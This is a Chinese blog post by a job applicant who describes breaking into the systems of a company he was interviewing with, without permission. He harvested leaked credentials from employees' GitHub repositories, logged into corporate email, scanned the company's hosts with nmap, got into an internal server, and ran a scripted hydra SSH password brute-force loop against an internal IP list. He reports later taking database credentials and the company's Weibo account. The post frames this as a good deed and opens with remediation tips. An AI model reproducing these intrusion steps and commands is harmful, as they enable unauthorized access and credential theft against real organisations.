🥷
🥷

因为渗透进了一家新公司实习

但行好事,莫问前程

解决方案

  • 删除Github上的敏感配置信息(包括但不限于微信Appkey,secert,Email账号,mlab上的DB配置,产品AppKey,Secert, ELK服务器账号密码等信息且不只是一个配置文件中出现)或着撤下Github上所有的公司产品代码
  • 更改邮箱密码为复杂密码(但不止包括邮箱,其他可被搜索并和公司相关联的其他平台账号),更改服务器为无规律密码(而非公司名加服务器功能加ip前几位构成),
  • 更新数据库中已经暴露的数据。
  • 加强服务器配置,例如防SSH爆破,适当清理bash的history,设置白名单访问等
  • 重要信息不可放置到外网上。

这是一次找实习之余,偶然接到这家公司的面试。出于对目标公司的好奇。当然只是作为对所中意公司的了解(之前是一点也不了解),进行了小小的测试。目前所有已测试数据均已删除。不过经过此次测试发现越来越喜欢这家公司了。

1.故事的开始。

去官网看了一下,发现没有什么实质性的内容,而且不给注册。。好坑,不开心。而且只能从微信体验公司宣传的功能。于是抓包,看到API,猜了几次。觉得十分有趣。后来就去搜索引擎 site:target.com 不出意外发现了其他的相关域名。而且测试版的网站竟然还没下线(允许注册登录)。在这个网站注册了账号,尝试了一下基本功能,算是有了初步的了解。不过发现一个很不好的地方,就是API的设计,基本上全是用的GET,从后台取数据的时候,URL上一大串参数。而根据REST设计风格来看,其实这几个功能都应该是通过POST的方式,并且将请求的数据放到Body里比较好。

2.Github上的数据泄露

一边从搜索引擎得到网站一些信息,然后去github尝试了一下,看看有没有人上传过代码。不尝试不知道,发现信息泄露十分严重。数个员工均在github上公开了代码。其中配置文件包括服务器,企业邮箱,db,ELK信息等。
拿出旁注工具,旁注得到域名
旁注得到域名

同时登录企业邮箱,邮箱中并无重要信息。但是Get到了部分通讯录。有了通讯录就方便了很多。通讯录是Json格式的,看起来很费事,所以转成csv好点。

1
2
3
4
5
awk '{key = $1; $1 = ""; a[key] = a[key] $0} END { for (key in a) print key, a[key] }' <<< cat tt.txt  >tempfile		   #直接合并数据
sed -n '2,6p' tempfile #取第姓名行到第邮箱行
sed '2,3d' tempfile #删除姓名到邮箱中的多余的二行。
cat tempfile | sed 's/,/\n/g' #以逗号进行的行列转置,但是转置之后全部变成一列了
paste name.txt mail.txt | awk '{printf "%s %s %s \n", $1 ,",",$2 }' > ConnectInfo.csv #两个不同的文件合并成两列到一个文件 #

其实还可以用csvkit,csvkit的话一行命令就行了就json2csv xx.json xx.csv可以转成csv格式了。

而另一边旁注得到的信息需要进行一下整理,看看是不是有多个站点共同使用一个IP上的。不同工具不同字典大小,可以得到不同的结果。

使用
awk '{key = $1; $1 = ""; a[key] = a[key] $0} END { for (key in a) print key, a[key] }' <<< cat IpInfo.txt

得到整理好的数据,可以看到有三个ip上同时每个上面部署了两个站点。当然后来换了个字典,发现其实不止这么多二级域名,一共有16个的样子吧。
整理数据

这边得到了iplist就应该开始进行扫描了。使用 nmap -A -Pn -iL IPlist.txt > IPScanresult.txt 同时还有一个进行URL的扫描。当然这个时候我还在搜索信息。发现其使用一个XX部落,通过密码猜测进入。然后发现一个十分重要的东西。就是内网映射服务器的账号密码在那记载着呢。

进来了
进来之后发现其实还部署着docker,nginx,ELK等服务,但是这台服务器的性能上是真一般,而且网速超级慢。

3.服务器之上

进了服务器,开始看一下路由表映射,然后查看历史记录,在整个目录下递归搜索含有’pwd’,’password’,’xxx’的文件。查看历史记录发现grep -rnw /home/ -e 'pwd'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
iplist="10.10.241.52
10.10.177.183
10.10.241.52
10.10.177.183
10.10.255.95
10.10.239.183
172.17.0.2
10.10.255.1
172.17.0.2
10.10.255.1
10.10.220.103
10.10.255.92
10.10.200.143
10.10.166.86
10.10.255.93
10.10.84.141
10.10.200.122
10.10.0.1
10.10.255.90
10.10.200.4
10.10.255.2
10.10.255.200
10.10.255.250
10.10.232.79"

echo "===Begin TEST==="
for ip in $iplist;
do
hydra $ip -s 50001 ssh -l root -P passlist.txt
done

OVER_by_2016_11_12

现在是第二天早上11点(周日):刚写完邮件通知对方。

ps:其他过程不想写了,昨天搞到将近两点,本来还打算看看面试题呢。不过也没什么可看的。哎,通知了对方。有的人说不要,有的人说要。还是,但行好事,莫问前程。希望ok。

通知对方

ps2:前几天和堂姐聊天,说要辞实习,重新找一份。姐说:年轻人就是好。是啊,年轻,棱角未平,阳光正好。现在我又佩服我的老姐了,能拿下全马,佩服你。

update:14号上午,还是不想看面试题。昨天发邮件通知之后,也没人回复个谢谢。邮箱密码虽然改了,但服务器还是没有修改。这次又测到4个DB服务器的账号密码。

DBMSG

问了下HR面试我的面试官名字,找到之后,微博,github,知乎。发现我们两个的学习路线差不多。不知道今天下午的面试会怎么样?OK,嘿嘿。
update:14号上午11:00,好吧官方微博账号到手。

weibohh